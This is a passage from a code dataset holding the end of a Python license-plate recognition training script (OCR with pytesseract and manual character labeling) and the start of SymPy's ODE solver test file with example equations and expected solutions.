img\n\n    # getting the maximum width, height and minimum width and height that a license plate can be\n    plate_dimensions = (0.04*label_image.shape[0], 0.2*label_image.shape[0], 0.2*label_image.shape[1], 0.6*label_image.shape[1])\n    # plate_dimensions2 = (0.08*label_image.shape[0], 0.2*label_image.shape[0], 0.15*label_image.shape[1], 0.4*label_image.shape[1])\n    plate_dimensions2 = (0.04*label_image.shape[0], 0.5*label_image.shape[0], 0.2*label_image.shape[1], 0.6*label_image.shape[1])\n    min_height, max_height, min_width, max_width = plate_dimensions\n    plate_objects_cordinates = []\n    # plate_like_objects = []\n\n    flag =0\n\n    if(flag==0):\n        min_height, max_height, min_width, max_width = plate_dimensions2\n        plate_objects_cordinates = []\n        # plate_like_objects = []\n\n        fig, (ax1) = plt.subplots(1)\n        # ax1.imshow(gray_car_image, cmap=\"gray\")\n\n        # regionprops creates a list of properties of all the labelled regions\n        for region in regionprops(label_image):\n            if region.area < 50:\n                #if the region is so small then it's likely not a license plate\n                continue\n                # the bounding box coordinates\n            min_row, min_col, max_row, max_col = region.bbox\n\n            region_height = max_row - min_row\n            region_width = max_col - min_col\n\n            # ensuring that the region identified satisfies the condition of a typical license plate\n            if region_height >= min_height and region_height <= max_height and region_width >= min_width and region_width <= max_width and region_width > region_height:\n\n                plate_like_objects.append(binary_car_image[min_row:max_row,\n                                            min_col:max_col])\n                plate_objects_cordinates.append((min_row, min_col,\n                                                    max_row, max_col))\n                rectBorder = patches.Rectangle((min_col, min_row), max_col - min_col, max_row - min_row, edgecolor=\"red\",\n                                                linewidth=2, fill=False)\n                ax1.add_patch(rectBorder)\n                Cropped = gray_car_image[min_row:max_row, min_col:max_col]\n                # plt.imshow(Cropped)\n                # plt.show()\n                text = pytesseract.image_to_string(Cropped, config='--psm 11')\n                print(\"Detected Number is:\",text)\n                # break\n                # let's draw a red rectangle over those regions\n        # print(plate_like_objects[0])\n        # plt.show()\n        # plt.imshow(Cropped,cmap='gray')\n\n        # Read the number plate\n        # text = pytesseract.image_to_string(Cropped, config='--psm 11')\n        # print(\"Detected Number is:\",text)\n\n        # plt.show()\n\n\n\n\n\n\n\n    # print(DetectPlate.plate_like_objects)\n\n    # The invert was done so as to convert the black pixel to white pixel and vice versa\n    for lp in plate_like_objects: \n        license_plate = np.invert(lp)\n\n        labelled_plate = measure.label(license_plate)\n\n        fig, ax1 = plt.subplots(1)\n        license_plate = rgb2gray(license_plate)\n        # ax1.imshow(license_plate, cmap=\"gray\")\n\n        character_dimensions = (0.5*license_plate.shape[0], 1.0*license_plate.shape[0], 0.00*license_plate.shape[1], 0.4*license_plate.shape[1])\n        min_height, max_height, min_width, max_width = character_dimensions\n\n        characters = []\n        counter=0\n        column_list = []\n\n        rois = []\n\n        for regions in regionprops(labelled_plate):\n\n            y0, x0, y1, x1 = regions.bbox\n            region_height = y1 - y0\n            region_width = x1 - x0\n\n            if region_height > min_height and region_height < max_height and region_width > min_width and region_width < max_width:\n                roi = license_plate[y0:y1, x0:x1]\n\n                # draw a red bordered rectangle over the character.\n                rect_border = patches.Rectangle((x0, y0), x1 - x0, y1 - y0, edgecolor=\"red\",\n                                            linewidth=2, fill=False)\n                ax1.add_patch(rect_border)\n                # plt.imshow(roi)\n                # plt.show()\n                rois.append(roi)\n\n                # resize the characters to 20X20 and then append each character into the characters list\n                resized_char = resize(roi, (20, 20))\n                for x in range(20):\n                    for y in range(20):\n                        if(resized_char[x][y]>=0.5):\n                            print(\"X\"),\n                        else:\n                            print(\" \"),\n                    print(\"\\n\")\n                face = raw_input(\"Specify Character: \")\n                print(face)\n                characters.append(resized_char)\n\n                # this is just to keep track of the arrangement of the characters\n                column_list.append(x0)\n        # print(characters)\n        # plt.show()\n                if face != \"-\":\n                    print(\"print\")\n                    index +=1\n                    with open(\"trained/\" + str(index)+\".txt\",  \"w+\") as file_handler:\n                        for x in range(20):\n                            for y in range(20):\n                                file_handler.write(str(resized_char[x][y]) + \" \")\n                            file_handler.write(\"\\n\")\n                    file_handler.close()    \n\n                    with open(\"trained/data.txt\", \"a\") as num_file_handler:\n                        num_file_handler.write(face + \"\\n\")\n                    num_file_handler.close()\nprint(\"Please change index to: \"+str(index+1))\n", "meta": {"hexsha": "be5894a777827a98c5d67c3ca6ffe27f4d46fdea", "size": 7449, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/training.py", "max_stars_repo_name": "rohanabhishek/License-Plate-Recognition", "max_stars_repo_head_hexsha": "8a03e46f3026209a8588483dc978fb67508e5232", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/training.py", "max_issues_repo_name": "rohanabhishek/License-Plate-Recognition", "max_issues_repo_head_hexsha": "8a03e46f3026209a8588483dc978fb67508e5232", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/training.py", "max_forks_repo_name": "rohanabhishek/License-Plate-Recognition", "max_forks_repo_head_hexsha": "8a03e46f3026209a8588483dc978fb67508e5232", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-07-21T10:25:26.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-21T10:25:26.000Z", "avg_line_length": 36.8762376238, "max_line_length": 168, "alphanum_fraction": 0.5857162035, "include": true, "reason": "import numpy", "num_tokens": 1674, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.16885694795909767, "lm_q1q2_score": 0.0864069040903374}}
{"text": "#\n# The main tests for the code in single.py are currently located in\n# sympy/solvers/tests/test_ode.py\n#\nr\"\"\"\nThis File contains test functions for the individual hints used for solving ODEs.\n\nExamples of each solver will be returned by _get_examples_ode_sol_name_of_solver.\n\nExamples should have a key 'XFAIL' which stores the list of hints if they are\nexpected to fail for that hint.\n\nFunctions that are for internal use:\n\n1) _ode_solver_test(ode_examples) - It takes dictionary of examples returned by\n   _get_examples method and tests them with their respective hints.\n\n2) _test_particular_example(our_hint, example_name) - It tests the ODE example corresponding\n   to the hint provided.\n\n3) _test_all_hints(runxfail=False) - It is used to test all the examples with all the hints\n  currently implemented. It calls _test_all_examples_for_one_hint() which outputs whether the\n  given hint functions properly if it classifies the ODE example.\n  If runxfail flag is set to True then it will only test the examples which are expected to fail.\n\n  Everytime the ODE of partiular solver are added then _test_all_hints() is to execuetd to find\n  the possible failures of different solver hints.\n\n4) _test_all_examples_for_one_hint(our_hint, all_examples) - It takes hint as argument and checks\n   this hint against all the ODE examples and gives output as the number of ODEs matched, number\n   of ODEs which were solved correctly, list of ODEs which gives incorrect solution and list of\n   ODEs which raises exception.\n\n\"\"\"\nfrom sympy import (acos, asin, atan, cos, Derivative, Dummy, diff,\n    E, Eq, exp, I, log, pi, Piecewise, Rational, S, sin, sinh, tan,\n    sqrt, symbols, Ei, erfi)\n\nfrom sympy.core import Function, Symbol\nfrom sympy.functions import airyai, airybi, besselj, bessely\nfrom sympy.integrals.risch import NonElementaryIntegral\nfrom sympy.solvers.ode import classify_ode, dsolve\nfrom sympy.solvers.ode.ode import allhints, _remove_redundant_solutions\nfrom sympy.solvers.ode.single import (FirstLinear, ODEMatchError,\n    SingleODEProblem, SingleODESolver)\n\nfrom sympy.solvers.ode.subscheck import checkodesol\n\nfrom sympy.testing.pytest import raises, slow\nimport traceback\n\n\nx = Symbol('x')\nu = Symbol('u')\ny = Symbol('y')\nf = Function('f')\ng = Function('g')\nC1, C2, C3, C4, C5 = symbols('C1:6')\n\n\nhint_message = \"\"\"\\\nHint did not match the example {example}.\n\nThe ODE is:\n{eq}.\n\nThe expected hint was\n{our_hint}\\\n\"\"\"\n\nexpected_sol_message = \"\"\"\\\nDifferent solution found from dsolve for example {example}.\n\nThe ODE is:\n{eq}\n\nThe expected solution was\n{sol}\n\nWhat dsolve returned is:\n{dsolve_sol}\\\n\"\"\"\n\ncheckodesol_msg = \"\"\"\\\nsolution found is not correct for example {example}.\n\nThe ODE is:\n{eq}\\\n\"\"\"\n\ndsol_incorrect_msg = \"\"\"\\\nsolution returned by dsolve is incorrect when using {hint}.\n\nThe ODE is:\n{eq}\n\nThe expected solution was\n{sol}\n\nwhat dsolve returned is:\n{dsolve_sol}\n\nYou can test this with:\n\neq = {eq}\nsol = dsolve(eq, hint='{hint}')\nprint(sol)\nprint(checkodesol(eq, sol))\n\n\"\"\"\n\nexception_msg = \"\"\"\\\ndsolve raised exception : {e}\n\nwhen using {hint} for the example {example}\n\nYou can test this with:\n\nfrom sympy.solvers.ode.tests.test_single import _test_an_example\n\n_test_an_example('{hint}', example_name = '{example}')\n\nThe ODE is:\n{eq}\n\n\\\n\"\"\"\n\ncheck_hint_msg = \"\"\"\\\nTested hint was : {hint}\n\nTotal of {matched} examples matched with this hint.\n\nOut of which {solve} gave correct results.\n\nExamples which gave incorrect results are {unsolve}.\n\nExamples which raised exceptions are {exceptions}\n\\\n\"\"\"\n\n\ndef _ode_solver_test(ode_examples, run_slow_test=False):\n    our_hint = ode_examples['hint']\n    for example in ode_examples['examples']:\n        temp = {\n            'eq': ode_examples['examples'][example]['eq'],\n            'sol': ode_examples['examples'][example]['sol'],\n            'XFAIL': ode_examples['examples'][example].get('XFAIL', []),\n            'func': ode_examples['examples'][example].get('func',ode_examples['func']),\n            'example_name': example,\n            'slow': ode_examples['examples'][example].get('slow', False),\n            'checkodesol_XFAIL': ode_examples['examples'][example].get('checkodesol_XFAIL', False)\n        }\n        if (not run_slow_test) and temp['slow']:\n            continue\n\n        result = _test_particular_example(our_hint, temp, solver_flag=True)\n        if result['xpass_msg'] != \"\":\n            print(result['xpass_msg'])\n\n\ndef _test_all_hints(runxfail=False):\n    all_hints = list(allhints)+[\"default\"]\n    all_examples = _get_all_examples()\n\n    for our_hint in all_hints:\n        if our_hint.endswith('_Integral') or 'series' in our_hint:\n            continue\n        _test_all_examples_for_one_hint(our_hint, all_examples, runxfail)\n\n\ndef _test_dummy_sol(expected_sol,dsolve_sol):\n    if type(dsolve_sol)==list:\n        return any(expected_sol.dummy_eq(sub_dsol) for sub_dsol in dsolve_sol)\n    else:\n        return expected_sol.dummy_eq(dsolve_sol)\n\n\ndef _test_an_example(our_hint, example_name):\n    all_examples = _get_all_examples()\n    for example in all_examples:\n        if example['example_name'] == example_name:\n            _test_particular_example(our_hint, example)\n\n\ndef _test_particular_example(our_hint, ode_example, solver_flag=False):\n    eq = ode_example['eq']\n    expected_sol = ode_example['sol']\n    example = ode_example['example_name']\n    xfail = our_hint in ode_example['XFAIL']\n    func = ode_example['func']\n    result = {'msg': '', 'xpass_msg': ''}\n    checkodesol_XFAIL = ode_example['checkodesol_XFAIL']\n    xpass = True\n    if solver_flag:\n        if our_hint not in classify_ode(eq, func):\n            message = hint_message.format(example=example, eq=eq, our_hint=our_hint)\n            raise AssertionError(message)\n\n    if our_hint in classify_ode(eq, func):\n        result['match_list'] = example\n        try:\n            dsolve_sol = dsolve(eq, func, hint=our_hint)\n\n        except Exception as e:\n            dsolve_sol = []\n            result['exception_list'] = example\n            if not solver_flag:\n                traceback.print_exc()\n                result['msg'] = exception_msg.format(e=str(e), hint=our_hint, example=example, eq=eq)\n            xpass = False\n\n        if solver_flag and dsolve_sol!=[]:\n            expect_sol_check = False\n            if type(dsolve_sol)==list:\n                for sub_sol in expected_sol:\n                    if sub_sol.has(Dummy):\n                        expect_sol_check = not _test_dummy_sol(sub_sol, dsolve_sol)\n                    else:\n                        expect_sol_check = sub_sol not in dsolve_sol\n                    if expect_sol_check:\n                        break\n            else:\n                expect_sol_check = dsolve_sol not in expected_sol\n                for sub_sol in expected_sol:\n                    if sub_sol.has(Dummy):\n                        expect_sol_check = not _test_dummy_sol(sub_sol, dsolve_sol)\n\n            if expect_sol_check:\n                message = expected_sol_message.format(example=example, eq=eq, sol=expected_sol, dsolve_sol=dsolve_sol)\n                raise AssertionError(message)\n\n            expected_checkodesol = [(True, 0) for i in range(len(expected_sol))]\n            if len(expected_sol) == 1:\n                expected_checkodesol = (True, 0)\n\n            if not checkodesol_XFAIL:\n                if checkodesol(eq, dsolve_sol, solve_for_func=False) != expected_checkodesol:\n                    result['unsolve_list'] = example\n                    xpass = False\n                    message = dsol_incorrect_msg.format(hint=our_hint, eq=eq, sol=expected_sol,dsolve_sol=dsolve_sol)\n                    if solver_flag:\n                        message = checkodesol_msg.format(example=example, eq=eq)\n                        raise AssertionError(message)\n                    else:\n                        result['msg'] = 'AssertionError: ' + message\n\n        if xpass and xfail:\n            result['xpass_msg'] = example + \"is now passing for the hint\" + our_hint\n    return result\n\n\ndef _test_all_examples_for_one_hint(our_hint, all_examples=[], runxfail=None):\n    if all_examples == []:\n        all_examples = _get_all_examples()\n    match_list, unsolve_list, exception_list = [], [], []\n    for ode_example in all_examples:\n        xfail = our_hint in ode_example['XFAIL']\n        if runxfail and not xfail:\n            continue\n        if xfail:\n            continue\n        result = _test_particular_example(our_hint, ode_example)\n        match_list += result.get('match_list',[])\n        unsolve_list += result.get('unsolve_list',[])\n        exception_list += result.get('exception_list',[])\n        if runxfail is not None:\n            msg = result['msg']\n            if msg!='':\n                print(result['msg'])\n            # print(result.get('xpass_msg',''))\n    if runxfail is None:\n        match_count = len(match_list)\n        solved = len(match_list)-len(unsolve_list)-len(exception_list)\n        msg = check_hint_msg.format(hint=our_hint, matched=match_count, solve=solved, unsolve=unsolve_list, exceptions=exception_list)\n        print(msg)\n\n\ndef test_SingleODESolver():\n    # Test that not implemented methods give NotImplementedError\n    # Subclasses should override these methods.\n    problem = SingleODEProblem(f(x).diff(x), f(x), x)\n    solver = SingleODESolver(problem)\n    raises(NotImplementedError, lambda: solver.matches())\n    raises(NotImplementedError, lambda: solver.get_general_solution())\n    raises(NotImplementedError, lambda: solver._matches())\n    raises(NotImplementedError, lambda: solver._get_general_solution())\n\n    # This ODE can not be solved by the FirstLinear solver. Here we test that\n    # it does not match and the asking for a general solution gives\n    # ODEMatchError\n\n    problem = SingleODEProblem(f(x).diff(x) + f(x)*f(x), f(x), x)\n\n    solver = FirstLinear(problem)\n    raises(ODEMatchError, lambda: solver.get_general_solution())\n\n    solver = FirstLinear(problem)\n    assert solver.matches() is False\n\n    #These are just test for order of ODE\n\n    problem = SingleODEProblem(f(x).diff(x) + f(x), f(x), x)\n    assert problem.order == 1\n\n    problem = SingleODEProblem(f(x).diff(x,4) + f(x).diff(x,2) - f(x).diff(x,3), f(x), x)\n    assert problem.order == 4\n\n\ndef test_nth_algebraic():\n    eqn = f(x) + f(x)*f(x).diff(x)\n    solns = [Eq(f(x), exp(x)),\n             Eq(f(x), C1*exp(C2*x))]\n    solns_final =  _remove_redundant_solutions(eqn, solns, 2, x)\n    assert solns_final == [Eq(f(x), C1*exp(C2*x))]\n\n    _ode_solver_test(_get_examples_ode_sol_nth_algebraic())\n\n\n@slow\ndef test_slow_examples_nth_order_reducible():\n    _ode_solver_test(_get_examples_ode_sol_nth_order_reducible(), run_slow_test=True)\n\n\n@slow\ndef test_slow_examples_nth_linear_constant_coeff_undetermined_coefficients():\n    _ode_solver_test(_get_examples_ode_sol_nth_linear_undetermined_coefficients(), run_slow_test=True)\n\n\n@slow\ndef test_slow_examples_separable():\n    _ode_solver_test(_get_examples_ode_sol_separable(), run_slow_test=True)\n\n\ndef test_nth_linear_constant_coeff_undetermined_coefficients():\n    _ode_solver_test(_get_examples_ode_sol_nth_linear_undetermined_coefficients())\n\n\ndef test_nth_order_reducible():\n    from sympy.solvers.ode.ode import _nth_order_reducible_match\n\n    F = lambda eq: _nth_order_reducible_match(eq, f(x))\n    D = Derivative\n    assert F(D(y*f(x), x, y) + D(f(x), x)) is None\n    assert F(D(y*f(y), y, y) + D(f(y), y)) is None\n    assert F(f(x)*D(f(x), x) + D(f(x), x, 2)) is None\n    assert F(D(x*f(y), y, 2) + D(u*y*f(x), x, 3)) is None  # no simplification by design\n    assert F(D(f(y), y, 2) + D(f(y), y, 3) + D(f(x), x, 4)) is None\n    assert F(D(f(x), x, 2) + D(f(x), x, 3)) == dict(n=2)\n\n    _ode_solver_test(_get_examples_ode_sol_nth_order_reducible())\n\n\ndef test_separable():\n    _ode_solver_test(_get_examples_ode_sol_separable())\n\n\ndef test_factorable():\n    _ode_solver_test(_get_examples_ode_sol_factorable())\n\n\ndef test_Riccati_special_minus2():\n    _ode_solver_test(_get_examples_ode_sol_riccati())\n\n\ndef test_Bernoulli():\n    _ode_solver_test(_get_examples_ode_sol_bernoulli())\n\n\ndef test_1st_linear():\n    _ode_solver_test(_get_examples_ode_sol_1st_linear())\n\n\ndef test_almost_linear():\n   _ode_solver_test(_get_examples_ode_sol_almost_linear())\n\n\ndef test_Liouville_ODE():\n    hint = 'Liouville'\n    not_Liouville1 = classify_ode(diff(f(x), x)/x + f(x)*diff(f(x), x, x)/2 -\n        diff(f(x), x)**2/2, f(x))\n    not_Liouville2 = classify_ode(diff(f(x), x)/x + diff(f(x), x, x)/2 -\n        x*diff(f(x), x)**2/2, f(x))\n    assert hint not in not_Liouville1\n    assert hint not in not_Liouville2\n    assert hint + '_Integral' not in not_Liouville1\n    assert hint + '_Integral' not in not_Liouville2\n\n    _ode_solver_test(_get_examples_ode_sol_liouville())\n\n\ndef test_nth_order_linear_euler_eq_homogeneous():\n    x, t, a, b, c = symbols('x t a b c')\n    y = Function('y')\n    our_hint = \"nth_linear_euler_eq_homogeneous\"\n\n    eq = diff(f(t), t, 4)*t**4 - 13*diff(f(t), t, 2)*t**2 + 36*f(t)\n    assert our_hint in classify_ode(eq)\n\n    eq = a*y(t) + b*t*diff(y(t), t) + c*t**2*diff(y(t), t, 2)\n    assert our_hint in classify_ode(eq)\n\n    _ode_solver_test(_get_examples_ode_sol_euler_homogeneous())\n\n\ndef test_nth_order_linear_euler_eq_nonhomogeneous_undetermined_coefficients():\n    x, t = symbols('x t')\n    a, b, c, d = symbols('a b c d', integer=True)\n    our_hint = \"nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients\"\n\n    eq = x**4*diff(f(x), x, 4) - 13*x**2*diff(f(x), x, 2) + 36*f(x) + x\n    assert our_hint in classify_ode(eq, f(x))\n\n    eq = a*x**2*diff(f(x), x, 2) + b*x*diff(f(x), x) + c*f(x) + d*log(x)\n    assert our_hint in classify_ode(eq, f(x))\n\n    _ode_solver_test(_get_examples_ode_sol_euler_undetermined_coeff())\n\n\ndef test_nth_order_linear_euler_eq_nonhomogeneous_variation_of_parameters():\n    x, t = symbols('x, t')\n    a, b, c, d = symbols('a, b, c, d', integer=True)\n    our_hint = \"nth_linear_euler_eq_nonhomogeneous_variation_of_parameters\"\n\n    eq = Eq(x**2*diff(f(x),x,2) - 8*x*diff(f(x),x) + 12*f(x), x**2)\n    assert our_hint in classify_ode(eq, f(x))\n\n    eq = Eq(a*x**3*diff(f(x),x,3) + b*x**2*diff(f(x),x,2) + c*x*diff(f(x),x) + d*f(x), x*log(x))\n    assert our_hint in classify_ode(eq, f(x))\n\n    _ode_solver_test(_get_examples_ode_sol_euler_var_para())\n\n\ndef _get_examples_ode_sol_euler_homogeneous():\n    return {\n            'hint': \"nth_linear_euler_eq_homogeneous\",\n            'func': f(x),\n            'examples':{\n    'euler_hom_01': {\n        'eq': Eq(-3*diff(f(x), x)*x + 2*x**2*diff(f(x), x, x), 0),\n        'sol': [Eq(f(x), C1 + C2*x**Rational(5, 2))],\n    },\n\n    'euler_hom_02': {\n        'eq': Eq(3*f(x) - 5*diff(f(x), x)*x + 2*x**2*diff(f(x), x, x), 0),\n        'sol': [Eq(f(x), C1*sqrt(x) + C2*x**3)]\n    },\n\n    'euler_hom_03': {\n        'eq': Eq(4*f(x) + 5*diff(f(x), x)*x + x**2*diff(f(x), x, x), 0),\n        'sol': [Eq(f(x), (C1 + C2*log(x))/x**2)]\n    },\n\n    'euler_hom_04': {\n        'eq': Eq(6*f(x) - 6*diff(f(x), x)*x + 1*x**2*diff(f(x), x, x) + x**3*diff(f(x), x, x, x), 0),\n        'sol': [Eq(f(x), C1/x**2 + C2*x + C3*x**3)]\n    },\n\n    'euler_hom_05': {\n        'eq': Eq(-125*f(x) + 61*diff(f(x), x)*x - 12*x**2*diff(f(x), x, x) + x**3*diff(f(x), x, x, x), 0),\n        'sol': [Eq(f(x), x**5*(C1 + C2*log(x) + C3*log(x)**2))]\n    },\n\n    'euler_hom_06': {\n        'eq': x**2*diff(f(x), x, 2) + x*diff(f(x), x) - 9*f(x),\n        'sol': [Eq(f(x), C1*x**-3 + C2*x**3)]\n    },\n\n    'euler_hom_07': {\n        'eq': sin(x)*x**2*f(x).diff(x, 2) + sin(x)*x*f(x).diff(x) + sin(x)*f(x),\n        'sol': [Eq(f(x), C1*sin(log(x)) + C2*cos(log(x)))],\n        'XFAIL': ['2nd_power_series_regular','nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients']\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_euler_undetermined_coeff():\n    return {\n            'hint': \"nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients\",\n            'func': f(x),\n            'examples':{\n    'euler_undet_01': {\n        'eq': Eq(x**2*diff(f(x), x, x) + x*diff(f(x), x), 1),\n        'sol': [Eq(f(x), C1 + C2*log(x) + log(x)**2/2)]\n    },\n\n    'euler_undet_02': {\n        'eq': Eq(x**2*diff(f(x), x, x) - 2*x*diff(f(x), x) + 2*f(x), x**3),\n        'sol': [Eq(f(x), x*(C1 + C2*x + Rational(1, 2)*x**2))]\n    },\n\n    'euler_undet_03': {\n        'eq': Eq(x**2*diff(f(x), x, x) - x*diff(f(x), x) - 3*f(x), log(x)/x),\n        'sol': [Eq(f(x), (C1 + C2*x**4 - log(x)**2/8 - log(x)/16)/x)]\n    },\n\n    'euler_undet_04': {\n        'eq': Eq(x**2*diff(f(x), x, x) + 3*x*diff(f(x), x) - 8*f(x), log(x)**3 - log(x)),\n        'sol': [Eq(f(x), C1/x**4 + C2*x**2 - Rational(1,8)*log(x)**3 - Rational(3,32)*log(x)**2 - Rational(1,64)*log(x) - Rational(7, 256))]\n    },\n\n    'euler_undet_05': {\n        'eq': Eq(x**3*diff(f(x), x, x, x) - 3*x**2*diff(f(x), x, x) + 6*x*diff(f(x), x) - 6*f(x), log(x)),\n        'sol': [Eq(f(x), C1*x + C2*x**2 + C3*x**3 - Rational(1, 6)*log(x) - Rational(11, 36))]\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_euler_var_para():\n    return {\n            'hint': \"nth_linear_euler_eq_nonhomogeneous_variation_of_parameters\",\n            'func': f(x),\n            'examples':{\n    'euler_var_01': {\n        'eq': Eq(x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x), x**4),\n        'sol': [Eq(f(x), x*(C1 + C2*x + x**3/6))]\n    },\n\n    'euler_var_02': {\n        'eq': Eq(3*x**2*diff(f(x), x, x) + 6*x*diff(f(x), x) - 6*f(x), x**3*exp(x)),\n        'sol': [Eq(f(x), C1/x**2 + C2*x + x*exp(x)/3 - 4*exp(x)/3 + 8*exp(x)/(3*x) - 8*exp(x)/(3*x**2))]\n    },\n\n    'euler_var_03': {\n        'eq': Eq(x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x), x**4*exp(x)),\n        'sol':  [Eq(f(x), x*(C1 + C2*x + x*exp(x) - 2*exp(x)))]\n    },\n\n    'euler_var_04': {\n        'eq': x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x) - log(x),\n        'sol': [Eq(f(x), C1*x + C2*x**2 + log(x)/2 + Rational(3, 4))]\n    },\n\n    'euler_var_05': {\n        'eq': -exp(x) + (x*Derivative(f(x), (x, 2)) + Derivative(f(x), x))/x,\n        'sol': [Eq(f(x), C1 + C2*log(x) + exp(x) - Ei(x))]\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_bernoulli():\n    # Type: Bernoulli, f'(x) + p(x)*f(x) == q(x)*f(x)**n\n    return {\n            'hint': \"Bernoulli\",\n            'func': f(x),\n            'examples':{\n    'bernoulli_01': {\n        'eq': Eq(x*f(x).diff(x) + f(x) - f(x)**2, 0),\n        'sol': [Eq(f(x), 1/(C1*x + 1))],\n        'XFAIL': ['separable_reduced']\n    },\n\n    'bernoulli_02': {\n        'eq': f(x).diff(x) - y*f(x),\n        'sol': [Eq(f(x), C1*exp(x*y))]\n    },\n\n    'bernoulli_03': {\n        'eq': f(x)*f(x).diff(x) - 1,\n        'sol': [Eq(f(x), -sqrt(C1 + 2*x)), Eq(f(x), sqrt(C1 + 2*x))]\n    },\n    }\n    }\n\n\ndef _get_examples_ode_sol_riccati():\n    # Type: Riccati special alpha = -2, a*dy/dx + b*y**2 + c*y/x +d/x**2\n    return {\n            'hint': \"Riccati_special_minus2\",\n            'func': f(x),\n            'examples':{\n    'riccati_01': {\n        'eq': 2*f(x).diff(x) + f(x)**2 - f(x)/x + 3*x**(-2),\n        'sol': [Eq(f(x), (-sqrt(3)*tan(C1 + sqrt(3)*log(x)/4) + 3)/(2*x))],\n    },\n    },\n    }\n\n\ndef _get_examples_ode_sol_1st_linear():\n    # Type: first order linear form f'(x)+p(x)f(x)=q(x)\n    return {\n            'hint': \"1st_linear\",\n            'func': f(x),\n            'examples':{\n    'linear_01': {\n        'eq': Eq(f(x).diff(x) + x*f(x), x**2),\n        'sol': [Eq(f(x), (C1 + x*exp(x**2/2)- sqrt(2)*sqrt(pi)*erfi(sqrt(2)*x/2)/2)*exp(-x**2/2))],\n    },\n    },\n    }\n\n\ndef _get_examples_ode_sol_factorable():\n    \"\"\" some hints are marked as xfail for examples because they missed additional algebraic solution\n    which could be found by Factorable hint. Fact_01 raise exception for\n    nth_linear_constant_coeff_undetermined_coefficients\"\"\"\n\n    y = Dummy('y')\n    return {\n            'hint': \"factorable\",\n            'func': f(x),\n            'examples':{\n    'fact_01': {\n        'eq': f(x) + f(x)*f(x).diff(x),\n        'sol': [Eq(f(x), 0), Eq(f(x), C1 - x)],\n        'XFAIL': ['separable', '1st_exact', '1st_linear', 'Bernoulli', '1st_homogeneous_coeff_best',\n        '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_dep_div_indep',\n        'lie_group', 'nth_linear_euler_eq_nonhomogeneous_undetermined_coefficients',\n        'nth_linear_constant_coeff_variation_of_parameters',\n        'nth_linear_euler_eq_nonhomogeneous_variation_of_parameters',\n        'nth_linear_constant_coeff_undetermined_coefficients']\n    },\n\n    'fact_02': {\n        'eq': f(x)*(f(x).diff(x)+f(x)*x+2),\n        'sol': [Eq(f(x), (C1 - sqrt(2)*sqrt(pi)*erfi(sqrt(2)*x/2))*exp(-x**2/2)), Eq(f(x), 0)],\n        'XFAIL': ['Bernoulli', '1st_linear', 'lie_group']\n    },\n\n    'fact_03': {\n        'eq': (f(x).diff(x)+f(x)*x**2)*(f(x).diff(x, 2) + x*f(x)),\n        'sol':  [Eq(f(x), C1*airyai(-x) + C2*airybi(-x)),Eq(f(x), C1*exp(-x**3/3))]\n    },\n\n    'fact_04': {\n        'eq': (f(x).diff(x)+f(x)*x**2)*(f(x).diff(x, 2) + f(x)),\n        'sol': [Eq(f(x), C1*exp(-x**3/3)), Eq(f(x), C1*sin(x) + C2*cos(x))]\n    },\n\n    'fact_05': {\n        'eq': (f(x).diff(x)**2-1)*(f(x).diff(x)**2-4),\n        'sol': [Eq(f(x), C1 - x), Eq(f(x), C1 + x), Eq(f(x), C1 + 2*x), Eq(f(x), C1 - 2*x)]\n    },\n\n    'fact_06': {\n        'eq': (f(x).diff(x, 2)-exp(f(x)))*f(x).diff(x),\n        'sol': [Eq(f(x), C1)]\n    },\n\n    'fact_07': {\n        'eq': (f(x).diff(x)**2-1)*(f(x)*f(x).diff(x)-1),\n        'sol': [Eq(f(x), C1 - x), Eq(f(x), -sqrt(C1 + 2*x)),Eq(f(x), sqrt(C1 + 2*x)), Eq(f(x), C1 + x)]\n    },\n\n    'fact_08': {\n        'eq': Derivative(f(x), x)**4 - 2*Derivative(f(x), x)**2 + 1,\n        'sol': [Eq(f(x), C1 - x), Eq(f(x), C1 + x)]\n    },\n\n    'fact_09': {\n        'eq': f(x)**2*Derivative(f(x), x)**6 - 2*f(x)**2*Derivative(f(x),\n         x)**4 + f(x)**2*Derivative(f(x), x)**2 - 2*f(x)*Derivative(f(x),\n         x)**5 + 4*f(x)*Derivative(f(x), x)**3 - 2*f(x)*Derivative(f(x),\n         x) + Derivative(f(x), x)**4 - 2*Derivative(f(x), x)**2 + 1,\n        'sol': [Eq(f(x), C1 - x), Eq(f(x), -sqrt(C1 + 2*x)),\n           Eq(f(x), sqrt(C1 + 2*x)), Eq(f(x), C1 + x)]\n    },\n\n    'fact_10': {\n        'eq': x**4*f(x)**2 + 2*x**4*f(x)*Derivative(f(x), (x, 2)) + x**4*Derivative(f(x),\n         (x, 2))**2  + 2*x**3*f(x)*Derivative(f(x), x) + 2*x**3*Derivative(f(x),\n         x)*Derivative(f(x), (x, 2)) - 7*x**2*f(x)**2 - 7*x**2*f(x)*Derivative(f(x),\n         (x, 2)) + x**2*Derivative(f(x), x)**2 - 7*x*f(x)*Derivative(f(x), x) + 12*f(x)**2,\n        'sol': [Eq(f(x), C1*besselj(2, x) + C2*bessely(2, x)), Eq(f(x), C1*besselj(sqrt(3),\n           x) + C2*bessely(sqrt(3), x))]\n    },\n\n    'fact_11': {\n        'eq': (f(x).diff(x, 2)-exp(f(x)))*(f(x).diff(x, 2)+exp(f(x))),\n        'sol': [], #currently dsolve doesn't return any solution for this example\n        